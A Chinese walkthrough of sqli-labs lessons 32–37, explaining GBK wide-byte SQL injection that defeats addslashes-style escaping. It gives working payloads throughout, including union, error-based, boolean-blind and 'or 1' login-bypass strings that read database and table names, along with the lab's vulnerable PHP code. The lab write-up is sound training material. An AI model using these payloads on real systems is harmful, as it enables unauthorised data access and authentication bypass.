sqli-labs靶场详解(less32-less37)

news2025/2/27 17:15:38

宽字节注入 原理在下方

目录

less-32

less-33

less-34

less-35

less-36

less-37


less-32

正常页面

?id=1' 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\'

?id=1''

看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字符

?id=1 and 1=1  成功

?id=1 and 1=2  成功

看来是字符型参数 

但是加上单引号被转义

我想到了国标码里面%df\ 是一个汉字 也就是宽字节注入

当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,报出MySQL数据库的错误。

?id=1%df' and 1=1 ;%00 成功

?id=1%df' and 1=2 ;%00 无返回结果

确定注入点了

代码

分析

<?php
include("../sql-connections/sql-connect.php");
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}
// take the variables 
if(isset($_GET['id'])) //判断id是否存在参数
{
$id=check_addslashes($_GET['id']); 对参数进行检查如果有非法符号 加反斜杠转义
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);//日志
mysql_query("SET NAMES gbk");//mysql编码方式为gbk gbk编码方式就是造成宽字节注入的
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//如果是参数为1%df' 经过处理就变成了1\' 反斜杠在数据库中会被进行GBK编码 从而和%df结合成为一个汉字 单引号从而逃逸出来
?>

宽字节注入原理

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将‘转换为\’(转换的函数或者思路会在每一关遇到的时候介绍)。

PHP 自带一些转义特殊字符的函数,如addslashes()mysql_real_escape_string()mysql_escape_string()等,这些函数可用来防止 SQL 注入。

id=1'or'1'='1,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\,变为1\'or\'1\'=\'1,如此在 SQL 查询中是一个普通的字符串,不能进行注入。

而网站在过滤'的时候,通常的思路就是将'转换为\',因此我们在此想办法将'前面添加的\去掉,一般有两种思路:


less-33

正常页面

判断注入点

?id=1 and 1=1 成功

?id=1 and 1=2 成功

看来还是字符型的

?id=1' 依旧提示

?id=1%df' and 1=1;%00 报错 并提示

看来%00空字节注入不可以了 应该是转义%了

?id=1%df' and 1=1--+ 成功

?id=1%df' and 1=2--+ 无返回结果

确定注入点了

我再想他应该不是转义% 如果转义%那么%df也出问题了

发现和上一关没什么区别呀 看看源码吧

分析出来了 其他都一样 就是处理非法字符的方式不一样

该关使用

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}


less-34

开始post型注入了

使用bp

uname=admin'  登录失败

一个道理单引号被转义了

不能使用火狐插件 

在url中如果输入%df url自动识别不会再次进行编码了

但是在post表单中 看到了%df 会把%继续进行url编码 从而导致不好使

又学到了一个小知识 万能密码中要使用or 1 一真则真的方式 这样虽然没有用户也会查询出所有的 于是就可以逐行显示出来了

uname=admin%df%5c%5c' or 1=1 limit 2,1#&passwd=1 

确定了注入点

在这里提醒 就是万能密码 虽然我有admin 或者非用户 但是使用or的时候 为永真 则查询出来的是所有的用户 就相当于where 后为真

uname=admin%df' order by 2#&passwd=123 

uname=admin%df' order by 3#&passwd=123 报错了

这个联合查询 因为%df和%5c组成为了汉字 所以带到数据库查询的是admin+汉字 所以查不到

uname=admin%df' union select 1,2#&passwd=123  1,2都为显示位

uname=admin%df' union select database(),2#&passwd=123 获取到了数据库

到这我想尝试and 但是突然又想到了 又学到了一个知识 就是admin%df%5c不存在用户 如果使用and 语句本身就是不执行的 因为and有一个假就是假的 哪怕1=1(这就是我研究半天 脑袋发蒙的地方)

但是可以使用or

报错函数and和or都可以  但是使用那两种方式的报错因为concat('~')就算加上%df也会提示 参数出错 (uname=admin%df' and extractvalue(1,concat(0x7e,database()))#&passwd=123 成功了 转换为十六进制就好了)

但是可以使用联合报错

uname=admin%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))as a from information_schema.tables group by a)x)#&passwd=123

在时间盲注的时候 and 会立马结束 我理解 但是or的时候一直执行sleep停不下来搞不懂

布尔盲注

一开始以为布尔不可以因为admin%df%5c为假 不能使用and了 但是可以继续构造语句 前面永真后面为假

uname=admin%df' or 1 and 1=1#&passwd=123   成功

uname=admin%df' or 1 and 1=2#&passwd=123   失败

前面的or构成了万能密码语句 永真 and 构造成布尔语句


less-35

正常页面

注入测试

?id=1 and 1=1 成功

?id=1 and 1=2 失败

整型 感觉没这么简单

?id=1 order by 4 报错

?id=0 union select 1,2,3 显示位 2,3号位置

?id=0 union select 1,database(),3 得出数据库

这跟第二关没区别呀 看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

function check_addslashes($string)
{
    $string = addslashes($string);//去除非法字符函数
    return $string;
}
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);//处理
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//整型参数 用不上非法字符
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

我丢真6 确实有去除非法字符 但是参数是整型 用不上非法字符 和第二关一样 哈哈 有意思

有这么一点需要注意一下

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

切记:security 转为16进制为0x7365637572697479 是不包括引号的,转为16进制也不需要引号

哈哈转换十六进制也是新学的知识点 那么less-34 的concat~也没问题了 把~转换成十六进制
 


less-36

正常页面

注入测试

?id=1 and 1=2  成功 看来是字符型的

?id=1%df' and 1=1 --+ 成功

?id=1%df' and 1=2 --+ 失败

在过程中发现

?id=1%df' and 1=1 ;%00  过滤了%

报错to use near '\0'  单引号引发的问题

提示Hint: The Query String you input is escaped as : 1�\' and 1=2 ;\0

?id=1%df' and 1=1 # 过滤了#

报错 to use near '' 单引号引发的问题

提示 Hint: The Query String you input is escaped as : 1�\' and 1=2

其余与上一关同理


less-37

正常登录无账号密码 登录失败

开始注入测试

uname=qwe'&passwd=qwe&submit=Submit 被转义

uname=qwe%df' or 1#&passwd=qwe&submit=Submit

成功找到注入点 这就算使用万能密码的方式

在这里注意一下 如果不知道账号的前提下 不要使用and进行判断 因为

假 and 真

假 and 假 

都是一个效果

uname=qwe%df' union select 1,2#&passwd=qwe&submit=Submit

啊?和前两题没什么区别呀 就是变成了post的方式

看一下源码

没什么问题 就是和前面一样 知识变成了 post的形式

提醒

post最好使用bp直接弄 不要使用 hacker 容易翻车

详情看前几关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1268158.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

顺丰JAVA开发一面—面试实战经验分析【已通过】

文章目录 面试总结面试开始项目相关基础知识反问环节 顺丰JAVA开发一面面试过程中的问题确实涵盖了很多方面&#xff0c;从项目架构到基础知识再到具体技术细节都有所涉及。 面试官的提问风格也是比较开放的&#xff0c;注重考察面试者的深度理解和解决问题的能力。以下是对每个…

彩虹云商城搭建教程+源码程序

前言&#xff1a;域名服务器或宝塔主机商场程序在线云商城 随着电子商务的快速发展&#xff0c;越来越多的企业开始意识到开设一个自己的电子商城对于销售和品牌推广的重要性。然而&#xff0c;选择一家合适的网站搭建平台和正确地构建一个商城网站并不是一件容易的事情。本文…

基于Qt MP3音频播放器示例(可制作音频播放器)

​本次MP3文件也给出来,方便大家调试。话不多说直接上源码。 整个项目下载地址:CSDN:GetCode 昵称-》Qt魔术师:https://gitcode.com/m0_45463480/QtMP3/tree/main## .pro # 指定项目类型为应用程序。TEMPLATE = app# 指定项目的名称为musicplayerTARGET = musicplayer# 添…

八、hdfs文件系统副本块数量的配置

1、配置方式 2、实际操作演示 &#xff08;1&#xff09;在Hadoop用户的根目录下创建text.txt文件 &#xff08;2&#xff09;上传文件 hadoopnode1:~$ hdfs dfs -ls hdfs://node1:8020/ Found 4 items drwxr-xr-x - hadoop supergroup 0 2023-11-21 23:06 hdfs:/…

手势识别4:C/C++实现手部检测和手势识别(含源码下载)

手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 目录 手势识别4&#xff1a;C/C实现手部检测和手势识别(含源码下载) 1. 前言 2. 手势识别模型&#xff08;YOLOv5&#xff09; &#xff08;1&#xff09;手势识别模型训练 &#xff08;2&#xff09;将Pyto…

Java 最全面试总结——3.多线程篇

1、说说Java中实现多线程有几种方法 创建线程的常用三种方式&#xff1a; 继承Thread类实现Runnable接口实现Callable接口&#xff08; JDK1.5> &#xff09;线程池方式创建 通过继承Thread类或者实现Runnable接口、Callable接口都可以实现多线程&#xff0c;不过实现Run…

基于合成数据的行人检测AI模型训练

在线工具推荐&#xff1a; 三维数字孪生场景工具 - GLTF/GLB在线编辑器 - Three.js AI自动纹理化开发 - YOLO 虚幻合成数据生成器 - 3D模型在线转换 - 3D模型预览图生成服务 近年来&#xff0c;自动驾驶汽车因其对社会的广泛影响而越来越受欢迎&#xff0c;因为它们提高…

乱序学机器学习——主成分分析法PCA

文章目录 概览PCA核心思想和原理PCA求解算法PCA算法代码实现降维任务代码实现PCA在数据降噪中的应用PCA在人脸识别中的应用主成分分析优缺点和适用条件优点缺点适用条件 概览 PCA核心思想和原理 PCA求解算法 特征向量表示分布的方向&#xff0c;特征值表示沿着个方向分布的程度…

自动锁螺丝机配件直线模组的作用

直线模组的应用非常广泛&#xff0c;在各种需要高精度、高效率的自动化直线运动的场合都有应用&#xff0c;尤其是在自动锁螺丝机中&#xff0c;起着关键性作用。 1、提供精确的定位和导向&#xff1a;在自动锁螺丝机中&#xff0c;螺丝的拧紧和输送都需要精确控制&#xff0c;…

SpringCloudSleuth+Zipkin 整合及关键包汇总

背景 整合了一下 SpringCloudSleuth Zipkin&#xff0c;本来是很简单的东西&#xff0c;但是最终导出依赖包时没注意&#xff0c;导致目标服务上始终没有纳入 Zipkin 的链路追踪中&#xff0c;本文记录这个过程及关键依赖包。 部署zipkin 官网下载最新的 zipkin 可执行包&a…

Java高级技术(反射的作用与应用场景)

一&#xff0c;放射 二&#xff0c;案例 &#xff08;1&#xff09;&#xff0c;题目 &#xff08;2&#xff09;&#xff0c;反射类 &#xff08;3&#xff09;&#xff0c;测试类

JavaScript编程进阶 – Return语句

JavaScript编程进阶 – Return语句 JavaScript Programming Advanced – Return Statement By JacksonML 就像人们习惯的函数一样&#xff0c;总觉得在函数体最后需要一个return语句&#xff0c;标志着函数的结束,就像下面这个函数 theFunc() 那样。 function theFunc() { re…

2023年11月编程语言排行榜——你的编程语言上榜了吗?

编程语言的流行度是一个热门的话题&#xff0c;不同的机构和平台有不同的评判标准和排名方法。本文将以 TIOBE 编程社区指数为例&#xff0c;介绍 2023 年 11 月的编程语言趋势榜单&#xff0c;分析各种编程语言的表现和原因&#xff0c;以及对未来的展望。 TIOBE 编程社区指数…

【傻瓜级JS-DLL-WINCC-PLC交互】6.​向PLC里面装载数据变量

思路 JS-DLL-WINCC-PLC之间进行交互&#xff0c;思路&#xff0c;先用Visual Studio创建一个C#的DLL控件&#xff0c;然后这个控件里面嵌入浏览器组件&#xff0c;实现JS与DLL通信&#xff0c;然后DLL放入到WINCC里面的图形编辑器中&#xff0c;实现DLL与WINCC的通信。然后PLC与…

【数据结构】——解决topk问题

前言&#xff1a;我们前面已经学习了小堆并且也实现了小堆&#xff0c;那么我们如果要从多个数据里选出最大的几个数据该怎么办呢&#xff0c;这节课我们就来解决这个问题。我们就用建小堆的方法来解决。 首先我们来看到这个方法的时间复杂度&#xff0c;我们先取前k个数据建立…

JAVAEE---多线程线程安全

根本原因&#xff1a;随机调度&#xff0c;抢占式执行 多个线程同时修改同一个变量 修改操作不是原子的 内存可见性 指令重排序 上面这段代码可以正常打印出hello&#xff0c;按照我们前面所学&#xff0c;第一次加锁之后&#xff0c;第二次加锁应该有所冲突啊。这里是因为…

java el表达式解析

使用Java EL表达式解析 在Java开发中&#xff0c;我们经常需要对表达式进行解析和计算。EL&#xff08;Expression Language&#xff09;表达式是一种用于在Java应用程序中计算和输出动态值的简单语言。它可以用于实现动态的条件判断、数学计算、字符串合并等功能。本文将教你…

【LeetCode刷题】--90.子集II

90.子集II class Solution {public List<List<Integer>> subsetsWithDup(int[] nums) {List<List<Integer>> ans new ArrayList<>();List<Integer> list new ArrayList<>();//排序后便于去重Arrays.sort(nums);dfs(0,nums,ans,lis…

OpenMMlab导出FCN模型并用onnxruntime推理

导出onnx文件 直接使用脚本 import torch from mmseg.apis init_modelconfig_file configs/fcn/fcn_r18-d8_4xb2-80k_cityscapes-512x1024.py checkpoint_file fcn_r18-d8_512x1024_80k_cityscapes_20201225_021327-6c50f8b4.pth model init_model(config_file, checkpoin…

mybatis参数输入 #{}和${}

1、建库建表 CREATE DATABASE mybatis-example;USE mybatis-example;CREATE TABLE t_emp(emp_id INT AUTO_INCREMENT,emp_name CHAR(100),emp_salary DOUBLE(10,5),PRIMARY KEY(emp_id) );INSERT INTO t_emp(emp_name,emp_salary) VALUES("tom",200.33); INSERT INTO…